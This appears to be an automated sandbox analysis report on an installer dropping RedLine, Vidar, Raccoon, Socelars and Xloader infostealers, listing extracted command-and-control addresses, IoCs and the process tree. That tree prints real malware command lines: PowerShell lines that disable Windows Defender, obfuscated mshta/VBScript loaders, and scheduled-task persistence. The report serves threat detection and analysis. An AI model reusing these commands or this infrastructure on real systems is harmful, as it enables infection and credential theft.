raccoon | 433e51a49b84a52cd5f740a12ec46a145d3c14a95e529d4ef32fd250e02829ed

Resubmissions

27-10-2021 12:55

211027-p592qaegd7 10

27-10-2021 05:03

211027-fpnzwaaff8 10

26-10-2021 14:24

211026-rqs6rshff8 10

Analysis

max time kernel
27s
max time network
1764s
platform
windows11_x64
resource
win11
submitted
26-10-2021 14:24

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

setup_x86_x64_install.exe
Size

5.6MB
MD5

8dfefd1f56f2ac4f1869d86edbb4aa8f
SHA1

3a65b0920890fd7e8ae751ee15f76de281584010
SHA256

433e51a49b84a52cd5f740a12ec46a145d3c14a95e529d4ef32fd250e02829ed
SHA512

996a84df42b79c8786f4347b875621a476bd6a0e71d4c61fd47a726fb9f6717051d03d8b381233e7966c1a2150628b8b7986727298a6fc803aea504f96fd934c

Score

10^/10

raccoon redline socelars vidar xloader chrisnew media25 s0iw aspackv2 discovery evasion infostealer loader rat stealer trojan

Malware Config

Extracted

Family

redline

Botnet

ChrisNEW

194.104.136.5:46013

Extracted

Family

redline

Botnet

media25

91.121.67.60:23325

Extracted

Family

xloader

Version

2.5

Campaign

s0iw

http://www.kyiejenner.com/s0iw/

Decoy

ortopediamodelo.com

orimshirts.store

universecatholicweekly.info

yvettechan.com

sersaudavelsempre.online

face-booking.net

europeanretailgroup.com

umofan.com

roemahbajumuslim.online

joyrosecuisine.net

3dmaker.house

megdb.xyz

stereoshopie.info

gv5rm.com

tdc-trust.com

mcglobal.club

choral.works

onlineconsultantgroup.com

friscopaintandbody.com

midwestii.com

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs
evasion trojan

Modify Registry
T1112

Modify Existing Service
T1031

Disabling Security Tools
T1089
Raccoon
Simple but powerful infostealer which was very active in 2019.
stealer raccoon
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine Payload 4 IoCs

resource	yara_rule
behavioral4/memory/3976-312-0x0000000000000000-mapping.dmp	family_redline
behavioral4/memory/3976-313-0x0000000000400000-0x000000000041E000-memory.dmp	family_redline
behavioral4/memory/5064-336-0x0000000000000000-mapping.dmp	family_redline
behavioral4/memory/5064-337-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
stealer socelars

Socelars Payload 2 IoCs

resource	yara_rule
behavioral4/files/0x000100000002b1be-247.dat	family_socelars
behavioral4/files/0x000100000002b1be-282.dat	family_socelars

Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 5164 created 3416	5164	WerFault.exe	179

Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar
Xloader
Xloader is a rebranded version of Formbook malware.
loader xloader

Vidar Stealer 2 IoCs

stealer

resource	yara_rule
behavioral4/memory/2016-455-0x0000000004CD0000-0x0000000004DA6000-memory.dmp	family_vidar
behavioral4/memory/5536-646-0x0000000004CE0000-0x0000000004DB6000-memory.dmp	family_vidar

Xloader Payload 1 IoCs

rat

resource	yara_rule
behavioral4/memory/1476-556-0x00000000028D0000-0x00000000028F9000-memory.dmp	xloader

ASPack v2.12-2.42 6 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral4/files/0x000100000002b1b3-155.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b4-154.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b3-156.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b6-160.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b6-159.dat	aspack_v212_v242
behavioral4/files/0x000100000002b1b4-158.dat	aspack_v212_v242

Blocklisted process makes network request 3 IoCs

flow	pid	Process
56	3296	cmd.exe
62	3296	cmd.exe
69	3296	cmd.exe

Downloads MZ/PE file

Executes dropped EXE 35 IoCs

pid	Process
1372	setup_installer.exe
1940	setup_install.exe
2676	Tue0978af55b9.exe
3512	Tue0985edbf92e08954.exe
3416	Tue09c257807a702a4.exe
3724	Tue097328c1b990.exe
4752	Tue09c1731fe55c7.exe
4908	Tue09786995c7f02a923.exe
1344	Tue09a30919dc5f00.exe
3944	Tue0947ef38552fc.exe
3476	Tue09c6db969ab9.exe
1352	Tue091e2054cef7.exe
3496	Tue09792fda06e.exe
1052	Tue0956c36b51.exe
920	Tue09264824c4.exe
1784	Tue093cbcf0222440.exe
3148	Tue0990c8b597f.exe
3296	Tue0971aafeebb6f.exe
484	Tue0990c8b597f.tmp
1852	Tue0990c8b597f.exe
2148	Tue093cbcf0222440.exe
3728	Tue0990c8b597f.tmp
2816	Tue09c6db969ab9.exe
3976	Tue09c1731fe55c7.exe
1156	LzmwAqmV.exe
5064	Tue09c6db969ab9.exe
5036	BCleanSoft82.exe
1876	inst1.exe
2016	SolUXd1c40w2DqWZtvNdMZxs.exe
4752	run.exe
3408	run2.exe
5200	WG1uEEN.EXe
5220	4.exe
5240	postback.exe
5376	5.exe

Loads dropped DLL 9 IoCs

pid	Process
1940	setup_install.exe
1940	setup_install.exe
1940	setup_install.exe
1940	setup_install.exe
1940	setup_install.exe
1940	setup_install.exe
1940	setup_install.exe
484	Tue0990c8b597f.tmp
3728	Tue0990c8b597f.tmp

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Looks up external IP address via web service 10 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ipinfo.io
61	api.db-ip.com
188	api.db-ip.com
2	api.db-ip.com
4	ipinfo.io
58	ipinfo.io
181	ipinfo.io
263	ipinfo.io
266	api.db-ip.com
2	ip-api.com

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 4752 set thread context of 3976	4752	run.exe	125
PID 3476 set thread context of 5064	3476	Tue09c6db969ab9.exe	130

autoit_exe 2 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral4/files/0x000100000002b1bc-244.dat	autoit_exe
behavioral4/files/0x000100000002b1bc-202.dat	autoit_exe

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Tue0990c8b597f.tmp
File created	C:\Program Files (x86)\FarLabUninstaller\is-PC4KA.tmp	Tue0990c8b597f.tmp
File opened for modification	C:\Program Files (x86)\FarLabUninstaller\unins000.dat	Tue0990c8b597f.tmp

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 15 IoCs

pid	pid_target	Process	procid_target
5464	3416	WerFault.exe	97
6036	5220	WerFault.exe	142
4532	1052	WerFault.exe	103
3944	3296	WerFault.exe	121
4948	4908	WerFault.exe	114
5976	3496	WerFault.exe	106
1896	2016	WerFault.exe	137
3296	4752	WerFault.exe	139
5128	5680	WerFault.exe	151
5044	3084	WerFault.exe	200
2144	5668	WerFault.exe	229
1112	2016	WerFault.exe	202
920	5536	WerFault.exe	201
2996	1640	WerFault.exe	260
1784	5392	WerFault.exe	264

Creates scheduled task(s) 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
2368	schtasks.exe
5532	schtasks.exe
5380	schtasks.exe

Kills process with taskkill 2 IoCs

evasion

pid	Process
5448	taskkill.exe
5796	taskkill.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1496	powershell.exe
1496	powershell.exe
1560	powershell.exe
1560	powershell.exe
1560	powershell.exe
1496	powershell.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe
920	WerFault.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	2676	Tue0978af55b9.exe
Token: SeDebugPrivilege	1496	powershell.exe
Token: SeDebugPrivilege	1560	powershell.exe
Token: SeDebugPrivilege	3512	Tue0985edbf92e08954.exe
Token: SeCreateTokenPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeAssignPrimaryTokenPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeLockMemoryPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeIncreaseQuotaPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeMachineAccountPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeTcbPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeSecurityPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeTakeOwnershipPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeLoadDriverPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeSystemProfilePrivilege	3296	Tue0971aafeebb6f.exe
Token: SeSystemtimePrivilege	3296	Tue0971aafeebb6f.exe
Token: SeProfSingleProcessPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeIncBasePriorityPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeCreatePagefilePrivilege	3296	Tue0971aafeebb6f.exe
Token: SeCreatePermanentPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeBackupPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeRestorePrivilege	3296	Tue0971aafeebb6f.exe
Token: SeShutdownPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeDebugPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeAuditPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeSystemEnvironmentPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeChangeNotifyPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeRemoteShutdownPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeUndockPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeSyncAgentPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeEnableDelegationPrivilege	3296	Tue0971aafeebb6f.exe
Token: SeManageVolumePrivilege	3296	Tue0971aafeebb6f.exe
Token: SeImpersonatePrivilege	3296	Tue0971aafeebb6f.exe
Token: SeCreateGlobalPrivilege	3296	Tue0971aafeebb6f.exe
Token: 31	3296	Tue0971aafeebb6f.exe
Token: 32	3296	Tue0971aafeebb6f.exe
Token: 33	3296	Tue0971aafeebb6f.exe
Token: 34	3296	Tue0971aafeebb6f.exe
Token: 35	3296	Tue0971aafeebb6f.exe
Token: SeDebugPrivilege	5036	svchost.exe
Token: SeDebugPrivilege	5220	4.exe
Token: SeDebugPrivilege	5376	5.exe

Suspicious use of FindShellTrayWindow 19 IoCs

pid	Process
3944	Tue0947ef38552fc.exe
3944	Tue0947ef38552fc.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3408	run2.exe
3408	run2.exe
3728	Tue0990c8b597f.tmp
3408	run2.exe
3408	run2.exe
3408	run2.exe
3408	run2.exe

Suspicious use of SendNotifyMessage 17 IoCs

pid	Process
3944	Tue0947ef38552fc.exe
3944	Tue0947ef38552fc.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3944	WerFault.exe
3408	run2.exe
3408	run2.exe
3408	run2.exe
3408	run2.exe
3408	run2.exe
3408	run2.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3268 wrote to memory of 1372	3268	setup_x86_x64_install.exe	80
PID 3268 wrote to memory of 1372	3268	setup_x86_x64_install.exe	80
PID 3268 wrote to memory of 1372	3268	setup_x86_x64_install.exe	80
PID 1372 wrote to memory of 1940	1372	setup_installer.exe	81
PID 1372 wrote to memory of 1940	1372	setup_installer.exe	81
PID 1372 wrote to memory of 1940	1372	setup_installer.exe	81
PID 1940 wrote to memory of 1272	1940	setup_install.exe	85
PID 1940 wrote to memory of 1272	1940	setup_install.exe	85
PID 1940 wrote to memory of 1272	1940	setup_install.exe	85
PID 1940 wrote to memory of 1468	1940	setup_install.exe	86
PID 1940 wrote to memory of 1468	1940	setup_install.exe	86
PID 1940 wrote to memory of 1468	1940	setup_install.exe	86
PID 1272 wrote to memory of 1560	1272	cmd.exe	88
PID 1272 wrote to memory of 1560	1272	cmd.exe	88
PID 1272 wrote to memory of 1560	1272	cmd.exe	88
PID 1468 wrote to memory of 1496	1468	cmd.exe	87
PID 1468 wrote to memory of 1496	1468	cmd.exe	87
PID 1468 wrote to memory of 1496	1468	cmd.exe	87
PID 1940 wrote to memory of 1876	1940	setup_install.exe	89
PID 1940 wrote to memory of 1876	1940	setup_install.exe	89
PID 1940 wrote to memory of 1876	1940	setup_install.exe	89
PID 1940 wrote to memory of 1880	1940	setup_install.exe	90
PID 1940 wrote to memory of 1880	1940	setup_install.exe	90
PID 1940 wrote to memory of 1880	1940	setup_install.exe	90
PID 1940 wrote to memory of 5096	1940	setup_install.exe	120
PID 1940 wrote to memory of 5096	1940	setup_install.exe	120
PID 1940 wrote to memory of 5096	1940	setup_install.exe	120
PID 1940 wrote to memory of 2256	1940	setup_install.exe	91
PID 1940 wrote to memory of 2256	1940	setup_install.exe	91
PID 1940 wrote to memory of 2256	1940	setup_install.exe	91
PID 1940 wrote to memory of 2056	1940	setup_install.exe	119
PID 1940 wrote to memory of 2056	1940	setup_install.exe	119
PID 1940 wrote to memory of 2056	1940	setup_install.exe	119
PID 1940 wrote to memory of 2052	1940	setup_install.exe	92
PID 1940 wrote to memory of 2052	1940	setup_install.exe	92
PID 1940 wrote to memory of 2052	1940	setup_install.exe	92
PID 1940 wrote to memory of 2248	1940	setup_install.exe	93
PID 1940 wrote to memory of 2248	1940	setup_install.exe	93
PID 1940 wrote to memory of 2248	1940	setup_install.exe	93
PID 1940 wrote to memory of 3344	1940	setup_install.exe	118
PID 1940 wrote to memory of 3344	1940	setup_install.exe	118
PID 1940 wrote to memory of 3344	1940	setup_install.exe	118
PID 1940 wrote to memory of 2568	1940	setup_install.exe	117
PID 1940 wrote to memory of 2568	1940	setup_install.exe	117
PID 1940 wrote to memory of 2568	1940	setup_install.exe	117
PID 2256 wrote to memory of 2676	2256	cmd.exe	94
PID 2256 wrote to memory of 2676	2256	cmd.exe	94
PID 1940 wrote to memory of 2836	1940	setup_install.exe	95
PID 1940 wrote to memory of 2836	1940	setup_install.exe	95
PID 1940 wrote to memory of 2836	1940	setup_install.exe	95
PID 1940 wrote to memory of 1360	1940	setup_install.exe	98
PID 1940 wrote to memory of 1360	1940	setup_install.exe	98
PID 1940 wrote to memory of 1360	1940	setup_install.exe	98
PID 1880 wrote to memory of 3416	1880	cmd.exe	97
PID 1880 wrote to memory of 3416	1880	cmd.exe	97
PID 1880 wrote to memory of 3416	1880	cmd.exe	97
PID 1876 wrote to memory of 3512	1876	cmd.exe	96
PID 1876 wrote to memory of 3512	1876	cmd.exe	96
PID 5096 wrote to memory of 3724	5096	cmd.exe	116
PID 5096 wrote to memory of 3724	5096	cmd.exe	116
PID 1940 wrote to memory of 4048	1940	setup_install.exe	99
PID 1940 wrote to memory of 4048	1940	setup_install.exe	99
PID 1940 wrote to memory of 4048	1940	setup_install.exe	99
PID 2248 wrote to memory of 4752	2248	cmd.exe	115

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3268
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:1372
- - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:1940
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1272
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Set-MpPreference -DisableRealtimeMonitoring $true -SubmitSamplesConsent NeverSend -MAPSReporting Disable
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1560
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1468
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1496
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue0985edbf92e08954.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1876
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0985edbf92e08954.exe
        
        Tue0985edbf92e08954.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3512
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09c257807a702a4.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1880
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c257807a702a4.exe
        
        Tue09c257807a702a4.exe
        5⤵
        Executes dropped EXE
        
        PID:3416
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 1548
        6⤵
        Program crash
        
        PID:5464
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue0978af55b9.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2256
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue0978af55b9.exe
        
        Tue0978af55b9.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2676
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        
        PID:1156
        
        C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BCleanSoft82.exe"
        7⤵
        Executes dropped EXE
        
        PID:5036
        
        C:\Users\Admin\AppData\Local\Temp\inst1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
        7⤵
        Executes dropped EXE
        
        PID:1876
        
        C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Soft1WW02.exe"
        7⤵
        
        PID:2016
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2016 -s 272
        8⤵
        Program crash
        
        PID:1896
        
        C:\Users\Admin\AppData\Local\Temp\4.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5220
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 5220 -s 1712
        8⤵
        Program crash
        
        PID:6036
        
        C:\Users\Admin\AppData\Local\Temp\5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:5376
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        
        PID:5184
        
        C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
        
        "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"
        7⤵
        
        PID:5528
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        8⤵
        
        PID:5784
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe" ) do taskkill -f -iM "%~NxM"
        9⤵
        
        PID:6088
        
        C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe
        
        ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi
        10⤵
        
        PID:4524
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""/PLQtzfgO0m8dRv4iYALOqi "" == """" for %M in (""C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
        11⤵
        
        PID:5752
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If "/PLQtzfgO0m8dRv4iYALOqi "=="" for %M in ("C:\Users\Admin\AppData\Local\Temp\kPBhgOaGQk.exe" ) do taskkill -f -iM "%~NxM"
        12⤵
        
        PID:5612
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        13⤵
        
        PID:3416
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbScRIpt:CLosE ( cReAteobjEcT("wscRiPt.SheLl" ). RUn ("C:\Windows\system32\cmd.exe /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = ""MZ"" > hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V + 1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC & Del /q *& starT msiexec -Y ..\lXQ2g.WC " , 0, tRUE) )
        11⤵
        
        PID:5116
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /R EcHO UwC:\Users\Admin\AppData\Local\TempNnML~>TRMBiI66.CU & EcHo | Set /P = "MZ" >hKS2IU.1Q & COPY /b /Y hKs2Iu.1Q + 9BU~.W + MyBa.V +1W8lBDVH.AOu +WCWfZ1TN.MJ+ WCBG6.QA + tRMBII66.CU ..\LXQ2G.WC& Del /q *&starT msiexec -Y ..\lXQ2g.WC
        12⤵
        
        PID:4424
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHo "
        13⤵
        Blocklisted process makes network request
        
        PID:3296
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" Set /P = "MZ" 1>hKS2IU.1Q"
        13⤵
        
        PID:4516
        
        C:\Windows\SysWOW64\msiexec.exe
        
        msiexec -Y ..\lXQ2g.WC
        13⤵
        
        PID:1492
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f -iM "search_hyperfs_206.exe"
        10⤵
        Kills process with taskkill
        
        PID:5796
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        
        PID:5680
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5680 -s 600
        8⤵
        Program crash
        
        PID:5128
        
        C:\Users\Admin\AppData\Local\Temp\juanli-game.exe
        
        "C:\Users\Admin\AppData\Local\Temp\juanli-game.exe"
        7⤵
        
        PID:5816
        
        C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Calculator Installation.exe"
        7⤵
        
        PID:5916
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
        
        C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
        8⤵
        
        PID:5848
        
        C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe
        
        "C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"
        9⤵
        
        PID:1484
        
        C:\Users\Admin\AppData\Local\Temp\10.exe
        
        "C:\Users\Admin\AppData\Local\Temp\10.exe"
        7⤵
        
        PID:1472
        
        C:\Users\Admin\AppData\Local\Temp\Chrome5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
        7⤵
        
        PID:5296
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome5.exe"
        8⤵
        
        PID:6112
        
        C:\Windows\System32\cmd.exe
        
        "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        9⤵
        
        PID:5520
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
        10⤵
        Creates scheduled task(s)
        
        PID:5532
        
        C:\Windows\System32\cmd.exe
        
        "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
        9⤵
        
        PID:1200
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        10⤵
        
        PID:5332
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09a30919dc5f00.exe
      4⤵
      PID:2052
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09a30919dc5f00.exe
        
        Tue09a30919dc5f00.exe
        5⤵
        Executes dropped EXE
        
        PID:1344
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09c1731fe55c7.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2248
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c1731fe55c7.exe
        
        Tue09c1731fe55c7.exe
        5⤵
        Executes dropped EXE
        
        PID:4752
      - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c1731fe55c7.exe
        
        C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09c1731fe55c7.exe
        6⤵
        Executes dropped EXE
        
        PID:3976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue09792fda06e.exe
      4⤵
      PID:2836
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue09792fda06e.exe
        
        Tue09792fda06e.exe
        5⤵
        Executes dropped EXE
        
        PID:3496
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3496 -s 156
        6⤵
        Program crash
        
        PID:5976
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Tue091e2054cef7.exe
      4⤵
      PID:1360
    - - C:\Users\Admin\AppData\Local\Temp\7zSC5510AB3\Tue091e2054cef7.exe
        
        Tue091e2054cef7.exe
        5⤵
        Executes dropped EXE
        
        PID:1352
